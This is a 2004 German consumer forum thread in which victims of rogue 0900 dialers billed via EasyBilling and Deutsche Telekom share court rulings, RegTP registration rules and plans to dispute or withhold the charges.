2. Eine Beweislastumkehr wie sie von der Rechtsprechung für die Inanspruchnahme von Mehrwertdiensten im Telefonverkehr bei Vorlage entsprechender Einzelverbindungsübersichten entwickelt wurde, ist hier insoweit nicht angezeigt. Denn anders als im Telefonverkehr ist es bei Nutzung eines Internetzuganges nämlich durchaus denkbar, dass sich - beispielsweise durch die ungewollte Installation eines sog. Dialers - ohne Kenntnis des Nutzers Verbindungen zu Mehrwertdiensten aufbauen 

3. Ein Vertragsschluss lässt sich auch nicht nach den Grundsätzen über die Zurechnung einer ohne Erklärungsbewusstsein abgegebenen Willenserklärung begründen, da der Telefon-Kunde nicht fahrlässig gehandelt hat. Es besteht seitens des Telefon-Kunden keine Verpflichtung, Schutzvorkehrungen gegen die ungewollte Installation sog. Dialer auf seinem Rechner zu treffen oder den ordnungemäßen Aufbau von Internetverbindungen regelmäßig zu überprüfen. Derartige Schutz- und Kontrollpflichten überfordern bereits einen durchschnittlich befähigten Internernutzer. 

* Beweis 6:*
Wenn Sie (DTAG) sich auf den Standpunkt stellen, dass jede Nummer, die in der Dialer-datenbank eingetragen ist, auch rechtmäßig zum Vertrag- und Verbindungsschluss geführt hat, dann ist das jedoch grundlegend falsch! Wenn Sie sich intensiv mit der Materie auseinandersetzen, so wie ich es jetzt gezwungenermaßen tun muß, dann erkennen sie, dass mit der Registrierung lediglich sichergestellt wird, dass dem Kunden Ansprechpartner der Anbieter zur Verfügung gestellt werden 

Die RegTP schreibt dazu: 
Die Registrierung von Dialern bei der RegTP stellt kein Gütesiegel dar. Mit der Registrierung erhalten Sie als Verbraucher jedoch Informationen über die registrierten Dialer und wer sich dahinter verbirgt. Es findet keine technische Prüfung des Dialers durch die RegTP statt. Außerdem kann die Registrierung auch nachträglich noch entzogen werden. 
Darüber hinaus muss der verwendete Dialer genau ermittelt werden (Versionnummer und Hashwert). 

*Beweis 7:*
Vor allem die innerhalb von nur zwei Minuten durchgeführten fünf Anwahlen stellen nach §138 BGB ein sittenwidriges Rechtgeschäft bzw. Wucher dar. Ein sittenwidriges Rechtsgeschäft ist nichtig. Der Dialer hat sich am 11.02.04 innerhalb von knapp zwei Minuten fünfmal (!) zu Kosten von jeweils 29,95 Euro brutto eingewählt. Und zwar um 16:42:22 Uhr, 16:43:06 Uhr, 16:43:42 Uhr, 16:44:00 Uhr und um 16:44:09 Uhr. 

Urteil des AG Oldenburg: 
11. Dezember 2003 E1 C 1096/03 (XX)

Ein an die Klägerin abgetretener Anspruch des Telekommunikationsunternehmens und
Netzbetreibers T (…) GmbH & Co. KG gegen den Beklagten in Höhe von 534,77 Euro besteht nicht. Die Klägerin hat nicht substantiiert dargelegt, dass vom Festnetzanschluss (...) und dem nur für ein Fax zur Verfügung stehenden Anschluss des Beklagten (…) aus am 11.3.2002 in der Zeit von 15:17:27 Uhr bis kurz nach 16 Uhr elf Einwahlen im Internet zu einer 0190-Nummer erfolgten, die dem Beklagten auch tatsächlich zurechenbar sind.
Von einer Zurechenbarkeit und damit auch einer vertraglichen Willenserklärung zur Vermittlung einer Verbindung zu einem Mehrwertdienstanbieter durch eine elfmalige einige Sekunden dauernde Inanspruchnahme für je 43.0603 Euro kann anders als bei
Sprachkommunikationsdienstleistungen nicht schon im Wege des Anscheinsbeweises
ausgegangen werden.

Der Beklagte hat dargelegt, er habe eine Einwahl nicht vorgenommen, bei der Überprüfung
seines PC jedoch einen Dialer (msb-dialer) entdeckt. Anders als bei Sprachdiensten und Diensten, die lediglich den Zugang zum Internet zur Verfügung stellen, kann nach allgemeiner Lebenserfahrung bei der Verbindungsherstellung zur 0190-Nummern nicht automatisch davon ausgegangen werden, dass der Kunde zurechenbar einen Verbindungs-aufbau bzw. die Vermittlungsleistung des Netzanbieters veranlasst hat. Es existiert im Internet eine Vielzahl von „dialer"-Programmen, die zum Teil ohne Wissen des Kunden auf dem PC installiert werden und sich möglicherweise sogar wieder deinstallieren.
 Insofern ist es also möglich, dass die 0190-Verbindung völlig unbemerkt im Hintergrund
angewählt wird. In einem solchen Fall liegt eine Willenserklärung oder eine zurechenbare
Inanspruchnahme einer Vermittlungsdienstleistung - nämlich der Vermittlung der Verbindung
zum Mehrwertdienstanbieter auch unter Berücksichtigung der Rechtsprechung zu den
verschiedenen Vertragsverhältnissen gerade nicht vor. Das Gericht folgt nicht der häufig in der Rechtsprechung vertretenen Auffassung, der Kunde sei für die Freiheit seines PC von derartigen Dialern selbst verantwortlich und möge sich schützen.

Virenprogramme und Firewalls sind für den Schutz vor Dialern zum einen nicht geeignet zum
anderen kann es auch nicht Aufgabe des Kunden sein, seinen PC streng zu über wachen und jeden Verbindungsaufbau zu protokollieren, obwohl den Netzanbietern durchaus bekannt ist, dass Mehrwertdienstanbieter häufig Dialer verwenden und diese teilweise auch unbemerkt Verbindungen herstellen. Es ist insofern jedenfalls zumutbar, dass die die Gebühren für den Mehrwertdienstanbieter mit einziehenden Netzanbieter das im konkreten Fall verwendete Einwahlprogramm darlegen und demonstrieren, um nachzuweisen, dass der Kunde diese Einwahl auch zurechenbar vorgenommen hat (vgl. auch LG Nürnberg-Fürth vom 27.3.03, 11 S 8162/02). Dies hat die darlegungspflichtige Klägerin nicht getan. Sie wird auch dadurch nicht befreit, dass sie behauptet, sie könne den Anbieter nicht mehr identifizieren, eventuell habe es sich um die Firma MSB gehandelt, sofern es sich um die vom Beklagten angegeben Dialer-Nummer handelte.

Die Netzanbieterin hat in Kenntnis der großen Missbrauchsmöglichkeit und häufigen Dialer-
Verwendung der Mehrwertdienstanbieter die Vertragsverhältnisse entsprechend zu gestalten, dass Nachweise möglich sind. Unklarheiten können nicht zu Lasten von Internet-Nutzern gehen, die einen Telefonanschluss betreiben, über den ohne ihr Wissen und ihre Mitwirkung Verbindungen aufgebaut werden bzw. vermittelt werden. Dies ist für die Kunden eine unbestellte Ware, deren Empfang zum Teil noch nicht einmal bemerkt wird. Angesichts dieser Sachlage trägt der Vermittler der Verbindungen die Darlegungslast für die Bestellung der Vermittlung. Ein Vertragsschluss zur Vermittlung von kostenpflichtigen 0190-Verbindungen ist von der Klägerin demzufolge nicht hinreichend dargelegt.
Die Nebenentscheidungen beruhen auf §§ 91, 708 Nr. 11, 711, 713 ZPO.

*Schlussbemerkung:*
Als ein Kunde, der noch nie mit 0190/0900-Nummern zu tun hatte, blieb mir nach dieser Erfahrung nur die komplette Sperrung dieses Nummerblocks. So werden leider auch die seriösen Anbieter von Mehrwertdiensten bestraft. Gleichzeitig mit diesem Brief geht auch ein Schreiben an die EasyBilling AG  :evil: , in der die Bezahlung dieses Postens nochmals mit den neuen Beweisen widersprochen wird.


----------



## Anonymous (26 Februar 2004)

@ Devilfrank

danke für den Link- habe meinen IE bereits nach den Vorgaben eingestellt.
Ich denke auch, das ich nicht sonderlich gefährdet bin mir einen Dialer einzuhandeln ( surfe ausschliesslich mit DSL, habe ausserdem eine 0900/0190er- Sperre) aber man kann ja nicht vorsichtig genug sein.
Nun mag ich ja dumm, blind oder beides sein, ich habe in dem Link nicht gefunden ob die Sicherung des IE Pop up´s irgendwie verhindert bzw. ob -entsprechend meiner Frage von eben- Pop-up Blocker verhindern das die Dialer sich über Pop-up´s installieren. Da dieses ja auch Ausgangsthema in diesem Thread war würden sich vielleicht einige Forum-User dafür interessieren.

Viele Grüsse, Luna.


----------



## Devilfrank (27 Februar 2004)

Wenn Activ-X und Active-Scripting deaktiviert sind, ist es schon ziemlich schwer, den IE dazu zu verleiten, ohne Genehmigung Dateien oder Code auszuführen PopUp-Installationen, verstecktes Ausführen von Dateien etc.). Wenn es trotzdem geschafft wird, hilft auch kein PopUp-Blocker mehr, würde ich mal denken.


----------



## KalleM (27 Februar 2004)

Nachdem ich gestern abend alle Beweise nochmal zusammengetragen habe und ich mir absolut sicher bin, dass ich durch einen nicht registrierten Dialer hereingelegt worden bin, habe ich ebenfalls bei der RegTP Beschwerde eingelegt.

Ich hoffe allerdings, dass die Telekom kapiert, dass sich unter einer Rufnummer verschiedene Dialer einwählen können. Entscheidet ist hier die Version und die Hashnummer ("Fingerabdruck"). 

Da sich der Dialer aber selbst löscht, konnte ich dies aber zum Glück noch über den "Verlauf" des IE nachweisen von wo die Dialer aufgerufen worden sind und welche Dialerversion eingesetzt wurde.  :roll:


----------



## eb-victim (27 Februar 2004)

Devilfrank schrieb:
			
		

> Wenn Activ-X und Active-Scripting deaktiviert sind, ist es schon ziemlich schwer, den IE dazu zu verleiten, ohne Genehmigung Dateien oder Code auszuführen PopUp-Installationen, verstecktes Ausführen von Dateien etc.).


Ich gehe davon aus, dass alle Sicherheitsupdates von Microsoft installiert sein müssen, um Auto-Dialer zu verhindern.
Von einem Pop-Up-Killer erwarte ich keinen Schutz.


----------



## eb-victim (27 Februar 2004)

*Re: dito mich hats auch erwischt !*



			
				Gast Nr. Tausend schrieb:
			
		

> Also, den Dialer "Relax_B" finde ich bei mir auf dem Desktop. (Windows XP)


Ich würde mir den Dialer gerne mal im Debugger ansehen (bin auch auf diese Nummer reingefallen  :-? ).
Schick mir doch bitte eine Nachricht, damit wir klären, wie wir die Datei übertragen.
CU
Thomas


----------



## technofreak (27 Februar 2004)

*Re: dito mich hats auch erwischt !*



			
				eb-victim schrieb:
			
		

> Schick mir doch bitte eine Nachricht, damit wir klären, wie wir die Datei übertragen.
> CU
> Thomas


Das wäre sehr einfach (z.B per PN) , wenn er sich anmelden würde. Das Posten von E-Mail Adressen
ist (siehe Nutzungsregeln)  nicht gestattet. 

tf


----------



## Anonymous (27 Februar 2004)

*Re: dito mich hats auch erwischt !*



			
				Gast Nr. Tausend schrieb:
			
		

> Die Idee einer Sammelklage kann ich nur befürworten.


Die Auto-Dialer, die ich bislang gefunden habe, kommen von Servern, die auf Matlock BC in L.A. registriert sind - und in den USA gibt es wohl Sammelklagen ...
3 Wochen Urlaub und nebenbei ein kleiner Prozess?   
CU
Thomas


----------



## Anonymous (27 Februar 2004)

*Re: dito mich hats auch erwischt !*



			
				Anonymous schrieb:
			
		

> Gast Nr. Tausend schrieb:
> 
> 
> 
> ...



jepp, die Idee finde ich gut! juristische Kommentare dazu???

cicojore


----------



## eb-victim (27 Februar 2004)

*Re: dito mich hats auch erwischt !*



			
				cicoj schrieb:
			
		

> Anonymous schrieb:
> 
> 
> 
> ...


He, das war ein Scherz ...
... andererseits: in den USA kann man ja Millionen an Schmerzensgeld verlangen, wg. der schockierenden Telefonrechnung zum Beispiel!


----------



## Anonymous (27 Februar 2004)

*090090000263*

Hallo allerseits,

ich bin noch ein Opfer von der "090090000263" Nummer und durch Google bin ich auf dieses Forum geraten. Ich komme ins Internet durch ARCOR Wahlnummer mit sting normalem Modem 56K. Als einzigen Schutz habe ich den "PopUpStopper", der ziemlich effektive mit dem Schlamm im Netz auskommt. Trotzdem auf meiner Januar-Februar Rechnung ist die obengenannten  Anwahlnummer erschienen. Kommischerweise eine ganze Stunde ab 4:07 bis 5:12 am 26.01.2004. Ich habe sofort die Kundennummer von Telekom gewählt und mich dort beraten lassen. Fazit:
die Rechnung ohne die "0900-xxx" zahlen. Ich bin einer jener Dummköpfe, die sich nicht leicht geben. Ich werde die da anfälligen 29.92 Euro nicht zahlen und egal was passiert werde ich meine Rechte verteidigen. Wer sich mit mir im Kontakt setzen will ddiesbezüglich soll mich unter 0179-873 .....anrufen oder Email an: [email protected] schreiben. Werd`mich sehr freuen. Oben hat jemand geschrieben, dass bei ihm 210 Euro fällig sind. bei mir ist wesentlich weniger, nichtsdestotrotz werde ich mich gewehren. Gruss

J. 
D. 


_E-Mail Addi und persönliche Daten gelöscht siehe Nutzungsregeln 
http://forum.computerbetrug.de/rules.php#9
http://forum.computerbetrug.de/rules.php#10
tf/Moderator_


----------



## Anonymous (27 Februar 2004)

*Re: 090090000263*



			
				noch ein Opfer schrieb:
			
		

> Wer sich mit mir im Kontakt setzen will ddiesbezüglich soll mich unter 0179-873 ** ** anrufen oder Email an: hr******@hotmail.com schreiben.


Habe Dir soeben einen Wurm auf´s Handy geschickt und Deine E-Mail-Adresse in sämtliche Erotic-Newsletter eingetragen - viel Spaß!




Spaß beiseite, hier wird eh jeden Moment editiert - lies mal ein bischen quer, dann weißt Du, was zu tun ist. Wenn Du mit der Telekom im Reinen bist, heißt es abwarten, wie sich der Fall entwickelt - also hier weiter rum lesen.


----------



## hrachka (27 Februar 2004)

hab mich ebengerade angemeldet als HRACHKA User.

Gruss


----------



## ralle (28 Februar 2004)

*EASY BILLING - EURE LUFT ZUM ATMEN WIRD IMMER DÜNNER*

Hallo allerseits,

mich hat es auch erwischt ! Es hat zwar ein paar Tage gedauert bis ich mich hier zu Wort gemeldet habe, aber ich dachte mir mal ich studiere erst einmal das gepostete !
Hier mein Krankheitsverlauf :

-	Am 31.01. aktiviert sich selbständig bei mir am Rechner ein Dialer
-	Normalerweise kein Problem da ich zum einen nen 0190 Dialerschutz installiert habe, zum anderen generell POPUPS immer direkt mit „Schließen“ Button wegklicke
-	Trotz alledem wird meine Verbindung getrennt und die  Nummer 0900…426 angewählt…..ohne dass ich auch nur einmal gefragt wurde oder etwas bestätigen musste !!!! Das kann nicht mit rechten Dingen zugehen – Dazu muß es Seitens der Regulierungsbehörde doch ganz klare Bestimmungen geben, oder  ?
-	Mein Dialerschutz (normalerweise immer auf den neuesten Stand) habe ich deswegen gleich mit dem Sperreintrag 0900* ergänzt was mir wahrscheinlich seitdem auch dazu verholfen hat keine weiteren Verbindungen mehr zu diesen B*----*service aufzubauen
-	Trotz alledem kann dieser Dialer nicht legitim sein – wie schon erwähnt selbständige Einwahl ohne Bestätigungen, ohne Anzeige von Tarifen (deswegen bin ich ja auch von 1 – 3 Euro für diesen S*-----* ausgegangen) und habe nicht gleich nachgehakt – außerdem wurden bis auf die Spuren im Dialerschutz alle Dateien gelöscht – bei mir ist keine web.exe zu finde 
-	Als dann jetzt die Rechnung kam wäre ich fast vom Glauben abgefallen > 25,8 + MwSt….sagt mal träume ich oder lebe ich noch – wo leben wir hier….unterstütz unser Staat jetzt auch schon b*------* Aktivitäten oder verdienen die sogar noch mit ?? Es kann doch nicht sein dass dieser Anbieter „Easy Billing“ immer noch Existent ist  – Es gibt keinerlei Nachweise über eine entsprechende Dienstleistung die ich entgegengenommen hab  bzw. was ich für diese 25,8 € geboten bekomme – wenn jeder so leicht Geld verdienen kann dann ist das eine komplette Bankrotterklärung für unsere Regierung, denn die ist für die Stubenhocker der Regulierungsbehörde verantwortlich
-	Die Telekom stellt sich natürlich dumm – besitzt aber mindestens eine Teilschuld und deshalb werde ich zuerst mal folgendermaßen vorgehen
-	a)	Stornierung bei der Telekomrechnung der Position mit der berühmtberüchtigten 0900…426 !!!
weil ich zusätzlich auch schon die Sperreinträge bei der Telekom hab machen lassen (direkt nach Erhalt meiner Rechnung – und es ja hier in dem Forum einen Präzedenzfall dazu gibt – erhoffe ich mir auch dass die DTAG so fair ist und das bei mir dann auch durchgehen lässt – diesbezüglich wäre ich demjenigen dankbar wenn er sich direkt bei mir mal meldet damit ich einen Bezug bei der Telekom habe 
b)	Beschwerde an Regulierungsbehörde !
c)	Information über den Sachverhalt an die Verbraucherschutzzentrale
d)	Ich gehe an die Öffentlichkeit > Medien (Zeitungen, Fernsehe usw…) > Diesbezüglich bitte ich um eine kurze Info von wem auch immer der schon ähnliche Maßnahmen getroffen hat – Hier sollten wir uns alle abstimmen und massiv die gleichen Mediendienste anschreiben und mit unseren Sachverhalten aufklären – ob ich uns schon alle bei Stern TV sehe 
e)	Zusätzlich werde ich auf meiner Homepage einen kleinen Infodienst einrichten und natürlich einen Hyperlink zu diesem Forum – dem Betreiber ich an dieser Stelle auch nochmal recht herzlich danken mag – du bist mit Geld nicht zu bezahlen 

Eine kleine Anmerkung noch am Rande – ich stimme einem meiner Vorredner absolut zu daß es sich hier um offensichtlichen B*----* handelt wegen der handelbaren Beträge (keiner muß mehr als 500 € berappen) das ist sehr verdächtig und hier müßte die Regulierungsbehörde absolut hellhörig werden – Easy Billing will von den paar Millionen Internetnutzer nur ein paar abzocken und die mit nem Betrag belasten für die sich ein rechtstreit zum einen nicht lohnt und zum anderen es für den einen oder anderen der nicht so vertraut ist mit der Materie evtl. sogar peinlich ist daß er auf einer verbotenen Seite war. Das sollte noch mehr Grund dafür sein daß wir alle samt soviel wi möglich Personen mobil machen und uns gegen diese B*----* AG währen – Meine Damen & Herren aus Eggebeck – die Luft wird für Euch wird immer dünner…..Am Ende siegt immer  die Wahrheit.

Im übrigen bekommt die Telekom auch noch einen Brief von mir daß sie unseriöse Kundendienste unterstützen  was definitiv nicht gerade wieder geschäftsfördernde Auswirkungen haben wird.

Stay tuned

Ralle

*[Virenscanner: Einige Wörter eliminiert]*


----------



## Anonymous (28 Februar 2004)

*090090000426*

Hi Leute, ich bin auch betroffen. Betrag 2x 25,8190€
Beim Ersten Dialereinwählen ist mir nun aufgefallen, dass das darüber im Ereignisprotokoll steht:
Ereignistyp:	Informationen
Ereignisquelle:	RemoteAccess
Ereigniskategorie:	Keine
Ereigniskennung:	20158
Datum:		08.01.2004
Zeit:		20:56:08
Benutzer:		Nicht zutreffend
Computer:	R10
Beschreibung:
Der Benutzer "rst-ma-TjaAWr" hat eine Verbindung mit "Relax_B" hergestellt, unter Verwendung des Geräts "COM3".

Den Benutzer gibt es bei mir jedoch nicht. Mein Benutzer heißt "" und die Verbindung Relax gibt es ebenfalls nicht.

Ich hoffe einen PC-Freak hilft dies weiter.
Beim zweitem mal Ende Jan.2004 waren diese Hinweise nicht mehr im E.Protokoll zu finden!


----------



## haudraufundschluss (28 Februar 2004)

Hallo Kai:

Wenn Du die vollständige Nummer hast, dann suche doch mal nach ihr in der RegTP-Datenbank. Der DFÜ-Eintrag Relax_B wird nur temporär angelegt, bevor sich der Dialer dann nach einmaliger Verwendung löscht. Exemplare dieser Gattung findest Du unter anderem hier - Schau Dir die Wirkungsweise mal an und staune. Der Umstand es damit in die Datenbank geschafft zu haben, heißt allerdings nicht, dass das in Ordnung ist...


----------



## hrachka (28 Februar 2004)

Hallo Leute, 

wie man sieht, wird die Armee der Betroffenen immer grösser und grösser. Wie ich schon oben geschrieben habe, werde ich die anfälligen 25.8 Euro + MwSt an Telekom nicht zahlen. Ich würde vorschlagen, dass derjeniger, der "in Schwierigkeiten" wegen dieser Sache gerät, bzw. Zahlungsaufforderungen kriegt, Gerichtsmahnungen etc, soll sich hier melden. Wir sollen uns zusammenschliessen und zusammenhalten. 

Gruss
Hrachka


----------



## haudraufundschluss (28 Februar 2004)

:gruebel: 

Du weißt aber, wo Du hier bist?


----------



## Anonymous (29 Februar 2004)

Hallo,

seit einer halben Stunde meldet sich ein weiteres Clubmitglied...
ganz seriöse internetadresse www.......de 3 mal "ok" 2-3 minuten online und schwupps 29,95€ kaputt.
Also wie war das mit der Sammelklage ?
Sollte ich den Betrag ersmal einbehalten?

MfG V40

_URL gelöscht (sogar aktiv, siehe Nutzungsregel), wenn hier jede verseuchte Seite 
gepostet wird , freuen sich die Abzocker nur tf/moderator_


----------



## Anonymous (29 Februar 2004)

*ich bin auch ein opfer*

ich bin auch Opfer der 090090000422 Nummer. Scheint ja recht berüchtigt zu sein. 
Was hast du dagegen gemacht? Gibt es schon Neuigkeiten, was Erfolg hat?


----------



## hrachka (29 Februar 2004)

Also bislang hat keiner etwas über Sammelklage gesagt. Meiner Information und Tat nach, werde ich die Telekomrechnung ohne den 0900xxx Eintrag zahlen. Dies muss jedoch schriftlich dem Telekom mitgeteilt werden, laut der Telekomauskunft. Klarm die wollen auch sicheren Rücken haben, Nicht vergessen, die MwSt auf den Betrag abzurechnen und abziehen. Wie es weiter geht, keine Ahnung. Ich selber werde gar nichts zahlen, denn ich keinen Dienst im Anspruch genommen habe. Zu jeder Sammelklage werde ich mich anschliessen, sobald eine hier verkündet wird. Und nicht vergessen Leute. Das Gesetz hat oberste Priorität und ist von Menschen für Menschen gemacht. Wenn es aber unserem Interesse zugunsten nicht vertritt, dann werden wir uns wohl verteidigen müssen. 
Auf jedenfall zahle ich gar nichts, denn einmal gezahlt, können Jahre vergehen, bis man sein Geld zurück hat.  Also Geld einbehalten und falls Zahlungsaufforderung, dann bescheid geben und dann mal gucken, was wir machen werden.

Hrachka


----------



## haudraufundschluss (29 Februar 2004)

Doch!!!

Du hast´s nur noch nicht gelesen:

http://forum.computerbetrug.de/viewtopic.php?t=1474&highlight=sammelklage


----------



## johinos (29 Februar 2004)

hrachka schrieb:
			
		

> Meiner Information und Tat nach, werde ich die Telekomrechnung ohne den 0900xxx Eintrag zahlen. Dies muss jedoch schriftlich dem Telekom mitgeteilt werden, laut der Telekomauskunft. Klarm die wollen auch sicheren Rücken haben,


... und deswegen besser an diese Auskunft halten: http://forum.computerbetrug.de/viewtopic.php?t=4161


----------



## blumenwiese23 (1 März 2004)

*erste mahnung*

so, ich habs schon mal geschrieben. hab vor kurzem die erste mahnung von der telekom bekommen. eas tun?? nochmal widersprechen, oder abwarten? langsam bekomme ich kalte füsse... :-? 
ich hoff, die staatsanwaltschaft flensburg beeilt sich da ein wenig mit dem thema easy billing  . 
wie ein vorredner schon erwähnt hat, ich finde es auch eine grosse frechheit von der telekom, erst den unstrittigen betrag abzubuchen, und dann eine woche später den rest auch noch.
jetzt warte ich mal ab. hab ja noch ein paar instanzen   .

gruss


----------



## Anonymous (1 März 2004)

Hier kommt es nicht auf die StA an sondern darauf, das die RegTP endlich die Registration der Dialer zurückzieht.


----------



## hrachka (1 März 2004)

Wenn du dem Telekom alles gezahlt hast, ausgenommen 0190xxxx oder 0900xxx Nummern, dann dürfen sie dir keine Mahnung schicken, denn es ist nicht in deren Zuständigkeitsbereich mehr, wenn Zahlung verweigert wird. Davon spreche ich aus erfahrung mit sämtlichen 010xx Nummern.

Nur vergiss nicht, dem Telekom mitzuteilen (rechtzeitig), dass Eintrag No:  Datum xx.xx.xx etc. Rechnung No: xx einbehalten wird wegen .... <<Begründung>>.......
Und damit ist mit der Sache beim Telekom Schluss!!!


----------



## Alex (1 März 2004)

und sieht man den wenigstens eine Chance, das die RegTP die Registrierung zurückzieht ??.

Schon alleine die Funktionen  das der "offizielle" Dialer sich selbst hinterher löscht und es per Kommandozeilenfunktion -web ? möglich ist die JA abfrage zu umgehen sollte doch eigentlich grund genug sein den wieder raus zu nehmen. 

Was dann die Version macht  die sich ungefragt installiert und ausführt  will ich da mal gar nicht mehr wissen .

Kann man sich eigentlich auch bei der RegTP beschweren ohne das man den auf der Rechnung hat- damit sie vielleicht etwas Ihre Bearbeitungsgeschwindigkeit erhöht. Vorbeugung soll wohl immer noch besser als Nachbehandlung sein.

Und das man wochenlang braucht, um schwarze Schafe das Handwerk zu legen zeigt ja nur das man mit dem Gesetzt wohl nichts erreicht hat (


Alex


----------



## kingossi (1 März 2004)

*Antwort Telekom*

Hallo,

hatte auch ein Problem mit der Firma Easybilling. habe der Telekom geschrieben, dass ich den Betrag nicht bezahlen werde. Es kam dann ein Schreiben der Telekom, dass sie auf diesen Betrag nicht mehr bestehen und sich die Firma Easybilling und deren "Leistungen" mal genauer ansehen werden, da diese Firma ein "unseriöses Verhalten" (orig. Ton Telekom) an den Tag gelegt hat und sich schon viele Beschwert haben.

Also, bitte  nicht bezahlen. Einspruch einlegen, Rechnung kürzen.

Kingossi


----------



## Anonymous (1 März 2004)

Alex schrieb:
			
		

> und sieht man den wenigstens eine Chance, das die RegTP die Registrierung zurückzieht ?? Kann man sich eigentlich auch bei der RegTP beschweren ohne das man den auf der Rechnung hat- damit sie vielleicht etwas Ihre Bearbeitungsgeschwindigkeit erhöht.
> Alex


Das Verfahren zum Entzug der Registrierung läuft bereits. Da Du jedoch kein Geschädigter bist, würde Deine Beschwerde (wenn nicht mit dem Hintergrund eines EDV-Sachverständigen) nur wenig fruchten - aber Schaden kann es nicht.


			
				ich schrieb:
			
		

> Gast schrieb:
> 
> 
> 
> ...


----------



## juanito (1 März 2004)

*Re: Antwort Telekom*

Hallo,



			
				kingossi schrieb:
			
		

> Hallo,
> 
> hatte auch ein Problem mit der Firma Easybilling. habe der Telekom geschrieben, dass ich den Betrag nicht bezahlen werde. Es kam dann ein Schreiben der Telekom, dass sie auf diesen Betrag nicht mehr bestehen und sich die Firma Easybilling und deren "Leistungen" mal genauer ansehen werden, da diese Firma ein "unseriöses Verhalten" (orig. Ton Telekom) an den Tag gelegt hat und sich schon viele Beschwert haben.
> 
> Kingossi



Das Schreiben wäre sicher für viele interessant. Wenn alle diesen Brief als Referenz zitieren, dann hätte die Telekom wohl schlechtere Chancen die Beträge zu verlangen, wenn sie in einem Fall möglichen Betrug schon zugestanden haben.

Gruß
  Juanito


----------



## hrachka (1 März 2004)

Super!!!

Ich habe heute ein Schreiben mit Zahlungsverweigerung an die Telekom geschickt bzg. Easy Billing. Es freut mich sehr, dass die Telekom Einsicht diesbezüglich zeigt. Es wäre interessant für allen Betroffenen, wenn wir einen Blick auf dieses Schreibens wefen dürfen. Wie wärs mit PDF irgendwo ablegen?

Gruss Hrachka


----------



## KalleM (2 März 2004)

Hallo,

habe soeben die Mitteilung von der Telekom bekommen, dass ich zahlen soll. Der Dialer ist unter der Hashnummer "b3ce89adb6e451c82935178a6e348760" bei der RegTP am 09.12.2003 regitriert worden. Da am 14.12.2003 etwa 400.000 Dialern die Registrierung entzogen worden ist, stehe ich auf dem Standpunkt, dass dieser nicht mehr eingesetzt werden darf. Die Telekom sagt, der Dialer steht in der Datenbank und ist somit registriert. Wer hat nun Recht?


----------



## technofreak (2 März 2004)

KalleM schrieb:
			
		

> Die Telekom sagt, der Dialer steht in der Datenbank und ist somit registriert.


Diese Pauschalaussage ist falsch, da auch die Dialer in der Datenbank stehen, deren Registrierung
nicht mehr gültig ist .
http://bo2005.regtp.de/prg/srvcno/dialer.asp


> Hinweis: Die unter einer (0)190-/(0)900-Rufnummer vor dem 14.12.2003 registrierten Dialer
> sind weiterhin in der Datenbank enthalten, dürfen jedoch nicht mehr eingesetzt werden.
> Nach Rechtsauffassung der RegTP besteht daher auch kein Zahlungsanspruch
> für nach dem 14.12.2003 hergestellte Verbindungen.


Wer lesen kann, ist klar im Vorteil , das gilt auch für den Rosa Riesen. 

tf


----------



## haudraufundschluss (2 März 2004)

Der Dialer ist unter dem Hashwert zumindest in der Datenbank zu finden, hat aber nichts mit den 400.000 Dialern einer Berliner Firma zu tun. Bereits die Beschreibung der Wirkungsweise macht eigentlich deutlich, dass er nicht verfügungskonform ist. Die Telekom möchte die Gleichung registriert = legal aufmachen, aber das falsch. Die Registrierung bedeutet lediglich, dass der Dialeranbieter der RegTP gegenüber eine Erklärung abgegeben hat, dass alles gesetzeskonform sei.

Guckst Du hier:

http://forum.computerbetrug.de/viewtopic.php?t=3123



			
				tf schrieb:
			
		

> Eine Rechtskonformitätsprüfung findet nicht statt.


----------



## KalleM (2 März 2004)

Hallo, 

ein Anruf bei der RegTP ergab, dass dieser Dialer "noch" registriert ist. Wenn einem Dialer die Registrierung entzogen worden ist, soll es expliziet in der Datenbank vermerkt sein. Werde mal bei einem Rechtanwalt um Rat fragen...jetzt wird es ernst.


----------



## KalleM (2 März 2004)

Hallo, 
macht es vielleicht Sinn unter Vorbehalt doch erst zu zahlen um weitere Unannehmlichkeiten zu vermeiden.

Sobald dann die Regulierungsbehörde die Registrierung dann entzogen hat, ist dass Rechtsgeschäft dann ja im Nachhinein nichtig, so dass man dann (notfalls mit Hilfe der Rechtsschutzversicherung) das Geld dann wieder zurückfordern kann.


----------



## Der Jurist (2 März 2004)

KalleM schrieb:
			
		

> Hallo,
> macht es vielleicht Sinn unter Vorbehalt doch erst zu zahlen um weitere Unannehmlichkeiten zu vermeiden.
> 
> Sobald dann die Regulierungsbehörde die Registrierung dann entzogen hat, ist dass Rechtsgeschäft dann ja im Nachhinein nichtig, so dass man dann (notfalls mit Hilfe der Rechtsschutzversicherung) das Geld dann wieder zurückfordern kann.



Nein, es macht keinen Sinn. Es ist leichter nicht gezahltes Geld zu verteidigen, als gezahltes zurückzuholen.


----------



## KalleM (2 März 2004)

Das Problem ist aber folgendes:

Der PRS-Offline Service ist ein Dienst der T-Com. Wenn Einspruch eingelegt wird, muss man sich nicht mit der Fa. EasyBilling auseinandersetzen, sondern direkt mir der T-Com.

*Habe heute auch ein Schreiben von der EasyBilling bekommen:*
O-Ton: "...um die Bezahlung ihrer Telefonrechnung zu klären, müssen Sie sich mit ihrem Provider, in Ihrem Fall die DTAG in Verbindung setzen. Denn nicht wir haben Ihnen die Rechnung gestellt, sondern die DTAG. ...
...wenden Sie sich bitte zur Klärung an Ihren Dienstebetreiber....


Da kriegt man doch die Krise:
EasyBilling zockt die Leute ab und die Telekom übernimmt auch noch das Inkasso.... :argue:


----------



## sunsplash (3 März 2004)

Habe dieses Forum durch Eingabe von „Easybilling“   bei Google gefunden und in den letzten Tagen Eure Beiträge gelesen. Hier meine Story, die dem üblichen Muster entspricht:

Am 5.02.2004 habe ich eine Internetseite angewählt, die offenbar ein Skript enthielt, dass auf meinem Computer ohne meine Einwilligung ausgeführt wurde.
Ich war zur Zeit des Vorfalls über meinen Provider freenet  mit der Einwahlnummer 01019xxxx mit dem Internet verbunden. Das Skript hat bewirkt, dass die Verbindung zu meinem Provider gekappt wurde und stattdessen von mir zunächst unbemerkt eine Verbindung mit der Einwahlnummer 0900 900 00 425 hergestellt wurde. Dieser Wechsel der Einwahl fand im Hintergrund statt ohne dass eine Unterbrechung der Internetverbindung zu bemerken war. 
Mein Antivirenprogramm (das wohlbekannte) hat dann folgende Meldung erzeugt:
Datum: 05.02.2004, Uhrzeit: 18:24:10, Manfred am MANFREDSPET
Die Skriptblockierung hat verdächtige Aktivitäten entdeckt.
Datei: C:\WINDOWS\system32\-Embedding
Objekt: FileSystem Object
